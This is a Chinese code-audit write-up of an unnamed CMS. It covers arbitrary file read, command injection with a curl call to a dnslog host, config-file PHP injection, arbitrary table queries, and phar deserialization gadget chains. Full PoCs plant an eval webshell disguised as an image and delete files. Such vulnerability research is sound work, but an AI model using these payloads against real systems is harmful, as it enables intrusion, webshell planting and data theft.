记一次对某CMS系统的代码审计
VUL1-文件读取漏洞 这个函数功能是读取pdf显示到网页,但是没有对文件名和路径进行限制,造成任意文件读取 例如,读取index.php文件 file=index.php 注意到这段代码限制了只能在当前路径下读取文件 $files = $this->str_replace_once('/','',$files);//替换开头的/ 显然这种过滤似乎难不倒任何人 file=//etc/
VUL1-文件读取漏洞
这个函数功能是读取pdf显示到网页,但是没有对文件名和路径进行限制,造成任意文件读取

例如,读取index.php文件
file=index.php
注意到这段代码限制了只能在当前路径下读取文件
$files = $this->str_replace_once('/','',$files);//替换开头的/
显然这种过滤似乎难不倒任何人
file=//etc/passwd
不过在实战中发现open_basedir限制了目录️

VUL2-命令注入漏洞
这个函数使用 LibreOffice 的命令行工具来执行一个PPT转换成PDF,然后显示到页面上

没有对file参数进行验证就直接插入命令里面执行,可以使用管道符进行命令拼接执行
payload:
file=||curl 9tkhrb.dnslog.cn||

VUL3-后台代码注入漏洞
漏洞点在保存网站设置的功能上,它会将设置的内容以序列化的形式写入到config/wzsz.php当中

设置的内容是保存在PHP文件,可以直接插入php代码

保存设置后,访问config/wzsz.php即可执行

VUL4-任意数据查询漏洞
漏洞点位于home控制器的cxxsjg函数,接收参数bm(表名)和id进行查询并返回结果到页面

表名和id是可控的,可以任意传入表名进行查询,前提是包含字段id
例如,查询users表
id=1&bm=users

成功查询到用户信息
VUL5-文件上传结合phar反序列化漏洞
什么是phar?
在 PHP 中,Phar(PHP Archive)是一种将多个 PHP 文件、资源和其他文件打包成一个单独的可执行文件的格式。Phar 文件类似于 Java 的 JAR 文件或 Python 的 Egg 文件。
POC1
FileCookieJar链任意文件写入,入口点

save函数写入了文件

文件名可控,文件内容就是cookie通过json加密后的字符
观察setCookie函数发现参数是SetCookie类

SetCookie的构造函数传入数组

使用array_replace函数替换默认数组字段
$this->data = array_replace(self::$defaults, $data);
也就意味着cookie的字段名只能为defaults中的字段名

构造的cookie如下
new SetCookie([
'Name' => 'foo',
'Domain' => '<?php echo eval($_REQUEST[\'111a\']); ?>',
'Value' => 'bar',
'Expires' => time()]);
接着通过FileCookieJar类去将cookie写入文件即可
<?php
require 'vendor/autoload.php';
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
$obj = new FileCookieJar('111.php');
$obj->setCookie(new SetCookie([
'Name' => 'foo',
'Domain' => '<?php echo eval($_REQUEST[\'111a\']); ?>',
'Value' => 'bar',
'Expires' => time()]));
var_dump(serialize($obj));
?>
运行之后也是成功写入了文件111.php

最后打包生成phar
<?php
require 'vendor/autoload.php';
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
$obj = new FileCookieJar('111.php');
$obj->setCookie(new SetCookie([
'Name' => 'foo',
'Domain' => '<?php echo eval($_REQUEST[\'111a\']); ?>',
'Value' => 'bar',
'Expires' => time()]));
var_dump(serialize($obj));
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$phar ->addFromString('test.txt','test');
$phar -> setMetadata($obj);
$phar -> stopBuffering();
rename('phar.phar','phar.jpg');
?>
CMS也是自带一个ueditor,刚好用于上传文件

然后通过前面的任意文件读取漏洞去触发phar反序列化

成功写入一句话木马

POC2
XMLWriter链任意文件删除

XMLWriter类的销毁函数使用了unlink进行删除文件,条件是PHP_OS != 'WINNT'即目标系统不能是windows
POC如下:
<?php
namespace PhpOffice\Common;
class XMLWriter {
public function __construct(){
$this->tempFileName="111.php";
}
}
$obj = new XMLWriter();
$phar = new \Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$phar ->addFromString('test.txt','test');
$phar -> setMetadata($obj);
$phar -> stopBuffering();
rename('phar.phar','phar.jpg');
上传文件,触发phar反序列化

可以发现POC1中的111.php成功被删除
